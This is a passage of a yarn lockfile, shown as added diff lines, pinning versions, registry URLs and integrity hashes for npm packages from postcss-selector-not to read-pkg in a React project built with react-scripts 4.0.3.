sha512-LgsHwQR/EsRYSqlwdGzeaPKVT0Ml7LAT6E75T8W8xLJY62CE4S/l03BWIt3jT8Taq22kXP08s2SfTSzaraoPww== + dependencies: + balanced-match "^1.0.0" + postcss "^7.0.2" + +postcss-selector-not@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-selector-not/-/postcss-selector-not-4.0.1.tgz#263016eef1cf219e0ade9a913780fc1f48204cbf" + integrity sha512-YolvBgInEK5/79C+bdFMyzqTg6pkYqDbzZIST/PDMqa/o3qtXenD05apBG2jLgT0/BQ77d4U2UK12jWpilqMAQ== + dependencies: + balanced-match "^1.0.0" + postcss "^7.0.2" + +postcss-selector-parser@^3.0.0: + version "3.1.2" + resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz#b310f5c4c0fdaf76f94902bbaa30db6aa84f5270" + integrity sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA== + dependencies: + dot-prop "^5.2.0" + indexes-of "^1.0.1" + uniq "^1.0.1" + +postcss-selector-parser@^5.0.0-rc.3, postcss-selector-parser@^5.0.0-rc.4: + version "5.0.0" + resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-5.0.0.tgz#249044356697b33b64f1a8f7c80922dddee7195c" + integrity sha512-w+zLE5Jhg6Liz8+rQOWEAwtwkyqpfnmsinXjXg6cY7YIONZZtgvE0v2O0uhQBs0peNomOJwWRKt6JBfTdTd3OQ== + dependencies: + cssesc "^2.0.0" + indexes-of "^1.0.1" + uniq "^1.0.1" + +postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2: + version "6.0.4" + resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz#56075a1380a04604c38b063ea7767a129af5c2b3" + integrity sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw== + dependencies: + cssesc "^3.0.0" + indexes-of "^1.0.1" + uniq "^1.0.1" + util-deprecate "^1.0.2" + +postcss-selector-parser@^6.0.4: + version "6.0.6" + resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.6.tgz#2c5bba8174ac2f6981ab631a42ab0ee54af332ea" + integrity sha512-9LXrvaaX3+mcv5xkg5kFwqSzSH1JIObIx51PrndZwlmznwXRfxMddDvo9gve3gVR8ZTKgoFDdWkbRFmEhT4PMg== + dependencies: + cssesc "^3.0.0" + util-deprecate "^1.0.2" + +postcss-svgo@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-svgo/-/postcss-svgo-4.0.2.tgz#17b997bc711b333bab143aaed3b8d3d6e3d38258" + integrity sha512-C6wyjo3VwFm0QgBy+Fu7gCYOkCmgmClghO+pjcxvrcBKtiKt0uCF+hvbMO1fyv5BMImRK90SMb+dwUnfbGd+jw== + dependencies: + is-svg "^3.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + svgo "^1.0.0" + +postcss-unique-selectors@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-unique-selectors/-/postcss-unique-selectors-4.0.1.tgz#9446911f3289bfd64c6d680f073c03b1f9ee4bac" + integrity sha512-+JanVaryLo9QwZjKrmJgkI4Fn8SBgRO6WXQBJi7KiAVPlmxikB5Jzc4EvXMT2H0/m0RjrVVm9rGNhZddm/8Spg== + dependencies: + alphanum-sort "^1.0.0" + postcss "^7.0.0" + uniqs "^2.0.0" + +postcss-value-parser@^3.0.0, postcss-value-parser@^3.3.0: + version "3.3.1" + resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz#9ff822547e2893213cf1c30efa51ac5fd1ba8281" + integrity sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ== + +postcss-value-parser@^4.0.2, postcss-value-parser@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb" + integrity sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ== + +postcss-values-parser@^2.0.0, postcss-values-parser@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/postcss-values-parser/-/postcss-values-parser-2.0.1.tgz#da8b472d901da1e205b47bdc98637b9e9e550e5f" + integrity sha512-2tLuBsA6P4rYTNKCXYG/71C7j1pU6pK503suYOmn4xYrQIzW+opD+7FAFNuGSdZC/3Qfy334QbeMu7MEb8gOxg== + dependencies: + flatten "^1.0.2" + indexes-of "^1.0.1" + uniq "^1.0.1" + +postcss@7.0.21: + version "7.0.21" + resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.21.tgz#06bb07824c19c2021c5d056d5b10c35b989f7e17" + integrity sha512-uIFtJElxJo29QC753JzhidoAhvp/e/Exezkdhfmt8AymWT6/5B7W1WmponYWkHk2eg6sONyTch0A3nkMPun3SQ== + dependencies: + chalk "^2.4.2" + source-map "^0.6.1" + supports-color "^6.1.0" + +postcss@^6.0.9: + version "6.0.23" + resolved "https://registry.yarnpkg.com/postcss/-/postcss-6.0.23.tgz#61c82cc328ac60e677645f979054eb98bc0e3324" + integrity sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag== + dependencies: + chalk "^2.4.1" + source-map "^0.6.1" + supports-color "^5.4.0" + +postcss@^7, postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.14, postcss@^7.0.17, postcss@^7.0.2, postcss@^7.0.26, postcss@^7.0.27, postcss@^7.0.32, postcss@^7.0.5, postcss@^7.0.6: + version "7.0.35" + resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24" + integrity sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg== + dependencies: + chalk "^2.4.2" + source-map "^0.6.1" + supports-color "^6.1.0" + +postcss@^7.0.18: + version "7.0.36" + resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.36.tgz#056f8cffa939662a8f5905950c07d5285644dfcb" + integrity sha512-BebJSIUMwJHRH0HAQoxN4u1CN86glsrwsW0q7T+/m44eXOUAxSNdHRkNZPYz5vVUbg17hFgOQDE7fZk7li3pZw== + dependencies: + chalk "^2.4.2" + source-map "^0.6.1" + supports-color "^6.1.0" + +postcss@^8.1.0: + version "8.2.6" + resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.2.6.tgz#5d69a974543b45f87e464bc4c3e392a97d6be9fe" + integrity sha512-xpB8qYxgPuly166AGlpRjUdEYtmOWx2iCwGmrv4vqZL9YPVviDVPZPRXxnXr6xPZOdxQ9lp3ZBFCRgWJ7LE3Sg== + dependencies: + colorette "^1.2.1" + nanoid "^3.1.20" + source-map "^0.6.1" + +postcss@^8.2.1: + version "8.3.4" + resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.3.4.tgz#41ece1c43f2f7c74dc7d90144047ce052757b822" + integrity sha512-/tZY0PXExXXnNhKv3TOvZAOUYRyuqcCbBm2c17YMDK0PlVII3K7/LKdt3ScHL+hhouddjUWi+1sKDf9xXW+8YA== + dependencies: + colorette "^1.2.2" + nanoid "^3.1.23" + source-map-js "^0.6.2" + +prelude-ls@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396" + integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g== + +prelude-ls@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54" + integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ= + +prepend-http@^1.0.0: + version "1.0.4" + resolved "https://registry.yarnpkg.com/prepend-http/-/prepend-http-1.0.4.tgz#d4f4562b0ce3696e41ac52d0e002e57a635dc6dc" + integrity sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw= + +pretty-bytes@^5.3.0: + version "5.6.0" + resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb" + integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg== + +pretty-error@^2.1.1: + version "2.1.2" + resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-2.1.2.tgz#be89f82d81b1c86ec8fdfbc385045882727f93b6" + integrity sha512-EY5oDzmsX5wvuynAByrmY0P0hcp+QpnAKbJng2A2MPjVKXCxrDSUkzghVJ4ZGPIv+JC4gX8fPUWscC0RtjsWGw== + dependencies: + lodash "^4.17.20" + renderkid "^2.0.4" + +pretty-format@^26.0.0, pretty-format@^26.6.0, pretty-format@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-26.6.2.tgz#e35c2705f14cb7fe2fe94fa078345b444120fc93" + integrity sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg== + dependencies: + "@jest/types" "^26.6.2" + ansi-regex "^5.0.0" + ansi-styles "^4.0.0" + react-is "^17.0.1" + +pretty-hrtime@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz#b7e3ea42435a4c9b2759d99e0f201eb195802ee1" + integrity sha1-t+PqQkNaTJsnWdmeDyAesZWALuE= + +process-nextick-args@~2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2" + integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag== + +process@^0.11.10: + version "0.11.10" + resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182" + integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI= + +progress@^2.0.0: + version "2.0.3" + resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8" + integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA== + +promise-inflight@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3" + integrity sha1-mEcocL8igTL8vdhoEputEsPAKeM= + +promise@^8.1.0: + version "8.1.0" + resolved "https://registry.yarnpkg.com/promise/-/promise-8.1.0.tgz#697c25c3dfe7435dd79fcd58c38a135888eaf05e" + integrity sha512-W04AqnILOL/sPRXziNicCjSNRruLAuIHEOVBazepu0545DDNGYHz7ar9ZgZ1fMU8/MA4mVxp5rkBWRi6OXIy3Q== + dependencies: + asap "~2.0.6" + +prompts@2.4.0, prompts@^2.0.1: + version "2.4.0" + resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.0.tgz#4aa5de0723a231d1ee9121c40fdf663df73f61d7" + integrity sha512-awZAKrk3vN6CroQukBL+R9051a4R3zCZBlJm/HBfrSZ8iTpYix3VX1vU4mveiLpiwmOJT4wokTF9m6HUk4KqWQ== + dependencies: + kleur "^3.0.3" + sisteransi "^1.0.5" + +prop-types@^15.7.2: + version "15.7.2" + resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5" + integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ== + dependencies: + loose-envify "^1.4.0" + object-assign "^4.1.1" + react-is "^16.8.1" + +proxy-addr@~2.0.5: + version "2.0.6" + resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.6.tgz#fdc2336505447d3f2f2c638ed272caf614bbb2bf" + integrity sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw== + dependencies: + forwarded "~0.1.2" + ipaddr.js "1.9.1" + +prr@~1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/prr/-/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476" + integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY= + +psl@^1.1.28: + version "1.8.0" + resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24" + integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ== + +public-encrypt@^4.0.0: + version "4.0.3" + resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0" + integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q== + dependencies: + bn.js "^4.1.0" + browserify-rsa "^4.0.0" + create-hash "^1.1.0" + parse-asn1 "^5.0.0" + randombytes "^2.0.1" + safe-buffer "^5.1.2" + +pump@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/pump/-/pump-2.0.1.tgz#12399add6e4cf7526d973cbc8b5ce2e2908b3909" + integrity sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA== + dependencies: + end-of-stream "^1.1.0" + once "^1.3.1" + +pump@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64" + integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww== + dependencies: + end-of-stream "^1.1.0" + once "^1.3.1" + +pumpify@^1.3.3: + version "1.5.1" + resolved "https://registry.yarnpkg.com/pumpify/-/pumpify-1.5.1.tgz#36513be246ab27570b1a374a5ce278bfd74370ce" + integrity sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ== + dependencies: + duplexify "^3.6.0" + inherits "^2.0.3" + pump "^2.0.0" + +punycode@1.3.2: + version "1.3.2" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d" + integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0= + +punycode@^1.2.4: + version "1.4.1" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e" + integrity sha1-wNWmOycYgArY4esPpSachN1BhF4= + +punycode@^2.1.0, punycode@^2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec" + integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A== + +purgecss@^3.1.3: + version "3.1.3" + resolved "https://registry.yarnpkg.com/purgecss/-/purgecss-3.1.3.tgz#26987ec09d12eeadc318e22f6e5a9eb0be094f41" + integrity sha512-hRSLN9mguJ2lzlIQtW4qmPS2kh6oMnA9RxdIYK8sz18QYqd6ePp4GNDl18oWHA1f2v2NEQIh51CO8s/E3YGckQ== + dependencies: + commander "^6.0.0" + glob "^7.0.0" + postcss "^8.2.1" + postcss-selector-parser "^6.0.2" + +q@^1.1.2: + version "1.5.1" + resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7" + integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc= + +qs@6.7.0: + version "6.7.0" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc" + integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ== + +qs@~6.5.2: + version "6.5.2" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36" + integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA== + +query-string@^4.1.0: + version "4.3.4" + resolved "https://registry.yarnpkg.com/query-string/-/query-string-4.3.4.tgz#bbb693b9ca915c232515b228b1a02b609043dbeb" + integrity sha1-u7aTucqRXCMlFbIosaArYJBD2+s= + dependencies: + object-assign "^4.1.0" + strict-uri-encode "^1.0.0" + +querystring-es3@^0.2.0: + version "0.2.1" + resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73" + integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM= + +querystring@0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620" + integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA= + +querystring@^0.2.0: + version "0.2.1" + resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.1.tgz#40d77615bb09d16902a85c3e38aa8b5ed761c2dd" + integrity sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg== + +querystringify@^2.1.1: + version "2.2.0" + resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6" + integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ== + +queue-microtask@^1.2.2: + version "1.2.2" + resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.2.tgz#abf64491e6ecf0f38a6502403d4cda04f372dfd3" + integrity sha512-dB15eXv3p2jDlbOiNLyMabYg1/sXvppd8DP2J3EOCQ0AkuSXCW2tP7mnVouVLJKgUMY6yP0kcQDVpLCN13h4Xg== + +quick-lru@^5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-5.1.1.tgz#366493e6b3e42a3a6885e2e99d18f80fb7a8c932" + integrity sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA== + +raf@^3.4.1: + version "3.4.1" + resolved "https://registry.yarnpkg.com/raf/-/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39" + integrity sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA== + dependencies: + performance-now "^2.1.0" + +randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a" + integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== + dependencies: + safe-buffer "^5.1.0" + +randomfill@^1.0.3: + version "1.0.4" + resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458" + integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw== + dependencies: + randombytes "^2.0.5" + safe-buffer "^5.1.0" + +range-parser@^1.2.1, range-parser@~1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031" + integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg== + +raw-body@2.4.0: + version "2.4.0" + resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332" + integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q== + dependencies: + bytes "3.1.0" + http-errors "1.7.2" + iconv-lite "0.4.24" + unpipe "1.0.0" + +react-app-polyfill@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/react-app-polyfill/-/react-app-polyfill-2.0.0.tgz#a0bea50f078b8a082970a9d853dc34b6dcc6a3cf" + integrity sha512-0sF4ny9v/B7s6aoehwze9vJNWcmCemAUYBVasscVr92+UYiEqDXOxfKjXN685mDaMRNF3WdhHQs76oTODMocFA== + dependencies: + core-js "^3.6.5" + object-assign "^4.1.1" + promise "^8.1.0" + raf "^3.4.1" + regenerator-runtime "^0.13.7" + whatwg-fetch "^3.4.1" + +react-dev-utils@^11.0.3: + version "11.0.4" + resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-11.0.4.tgz#a7ccb60257a1ca2e0efe7a83e38e6700d17aa37a" + integrity sha512-dx0LvIGHcOPtKbeiSUM4jqpBl3TcY7CDjZdfOIcKeznE7BWr9dg0iPG90G5yfVQ+p/rGNMXdbfStvzQZEVEi4A== + dependencies: + "@babel/code-frame" "7.10.4" + address "1.1.2" + browserslist "4.14.2" + chalk "2.4.2" + cross-spawn "7.0.3" + detect-port-alt "1.1.6" + escape-string-regexp "2.0.0" + filesize "6.1.0" + find-up "4.1.0" + fork-ts-checker-webpack-plugin "4.1.6" + global-modules "2.0.0" + globby "11.0.1" + gzip-size "5.1.1" + immer "8.0.1" + is-root "2.1.0" + loader-utils "2.0.0" + open "^7.0.2" + pkg-up "3.1.0" + prompts "2.4.0" + react-error-overlay "^6.0.9" + recursive-readdir "2.2.2" + shell-quote "1.7.2" + strip-ansi "6.0.0" + text-table "0.2.0" + +react-dom@^17.0.2: + version "17.0.2" + resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-17.0.2.tgz#ecffb6845e3ad8dbfcdc498f0d0a939736502c23" + integrity sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA== + dependencies: + loose-envify "^1.1.0" + object-assign "^4.1.1" + scheduler "^0.20.2" + +react-error-overlay@^6.0.9: + version "6.0.9" + resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-6.0.9.tgz#3c743010c9359608c375ecd6bc76f35d93995b0a" + integrity sha512-nQTTcUu+ATDbrSD1BZHr5kgSD4oF8OFjxun8uAaL8RwPBacGBNPf/yAuVVdx17N8XNzRDMrZ9XcKZHCjPW+9ew== + +react-is@^16.8.1: + version "16.13.1" + resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4" + integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ== + +react-is@^17.0.1: + version "17.0.1" + resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.1.tgz#5b3531bd76a645a4c9fb6e693ed36419e3301339" + integrity sha512-NAnt2iGDXohE5LI7uBnLnqvLQMtzhkiAOLXTmv+qnF9Ky7xAPcX8Up/xWIhxvLVGJvuLiNc4xQLtuqDRzb4fSA== + +react-refresh@^0.8.3: + version "0.8.3" + resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.8.3.tgz#721d4657672d400c5e3c75d063c4a85fb2d5d68f" + integrity sha512-X8jZHc7nCMjaCqoU+V2I0cOhNW+QMBwSUkeXnTi8IPe6zaRWfn60ZzvFDZqWPfmSJfjub7dDW1SP0jaHWLu/hg== + +react-scripts@4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/react-scripts/-/react-scripts-4.0.3.tgz#b1cafed7c3fa603e7628ba0f187787964cb5d345" + integrity sha512-S5eO4vjUzUisvkIPB7jVsKtuH2HhWcASREYWHAQ1FP5HyCv3xgn+wpILAEWkmy+A+tTNbSZClhxjT3qz6g4L1A== + dependencies: + "@babel/core" "7.12.3" + "@pmmmwh/react-refresh-webpack-plugin" "0.4.3" + "@svgr/webpack" "5.5.0" + "@typescript-eslint/eslint-plugin" "^4.5.0" + "@typescript-eslint/parser" "^4.5.0" + babel-eslint "^10.1.0" + babel-jest "^26.6.0" + babel-loader "8.1.0" + babel-plugin-named-asset-import "^0.3.7" + babel-preset-react-app "^10.0.0" + bfj "^7.0.2" + camelcase "^6.1.0" + case-sensitive-paths-webpack-plugin "2.3.0" + css-loader "4.3.0" + dotenv "8.2.0" + dotenv-expand "5.1.0" + eslint "^7.11.0" + eslint-config-react-app "^6.0.0" + eslint-plugin-flowtype "^5.2.0" + eslint-plugin-import "^2.22.1" + eslint-plugin-jest "^24.1.0" + eslint-plugin-jsx-a11y "^6.3.1" + eslint-plugin-react "^7.21.5" + eslint-plugin-react-hooks "^4.2.0" + eslint-plugin-testing-library "^3.9.2" + eslint-webpack-plugin "^2.5.2" + file-loader "6.1.1" + fs-extra "^9.0.1" + html-webpack-plugin "4.5.0" + identity-obj-proxy "3.0.0" + jest "26.6.0" + jest-circus "26.6.0" + jest-resolve "26.6.0" + jest-watch-typeahead "0.6.1" + mini-css-extract-plugin "0.11.3" + optimize-css-assets-webpack-plugin "5.0.4" + pnp-webpack-plugin "1.6.4" + postcss-flexbugs-fixes "4.2.1" + postcss-loader "3.0.0" + postcss-normalize "8.0.1" + postcss-preset-env "6.7.0" + postcss-safe-parser "5.0.2" + prompts "2.4.0" + react-app-polyfill "^2.0.0" + react-dev-utils "^11.0.3" + react-refresh "^0.8.3" + resolve "1.18.1" + resolve-url-loader "^3.1.2" + sass-loader "^10.0.5" + semver "7.3.2" + style-loader "1.3.0" + terser-webpack-plugin "4.2.3" + ts-pnp "1.2.0" + url-loader "4.1.1" + webpack "4.44.2" + webpack-dev-server "3.11.1" + webpack-manifest-plugin "2.2.0" + workbox-webpack-plugin "5.1.4" + optionalDependencies: + fsevents "^2.1.3" + +react@^17.0.2: + version "17.0.2" + resolved "https://registry.yarnpkg.com/react/-/react-17.0.2.tgz#d0b5cc516d29eb3eee383f75b62864cfb6800037" + integrity sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA== + dependencies: + loose-envify "^1.1.0" + object-assign "^4.1.1" + +read-pkg-up@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-2.0.0.tgz#6b72a8048984e0c41e79510fd5e9fa99b3b549be" + integrity sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4= + dependencies: + find-up "^2.0.0" + read-pkg "^2.0.0" + +read-pkg-up@^7.0.1: + version "7.0.1" + resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz#f3a6135758459733ae2b95638056e1854e7ef507" + integrity sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg== + dependencies: + find-up "^4.1.0" + read-pkg "^5.2.0" + type-fest "^0.8.1" + +read-pkg@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-2.0.0.tgz#8ef1c0623c6a6db0dc6713c4bfac46332b2368f8" + integrity sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg= + dependencies: + load-json-file "^2.0.0" + 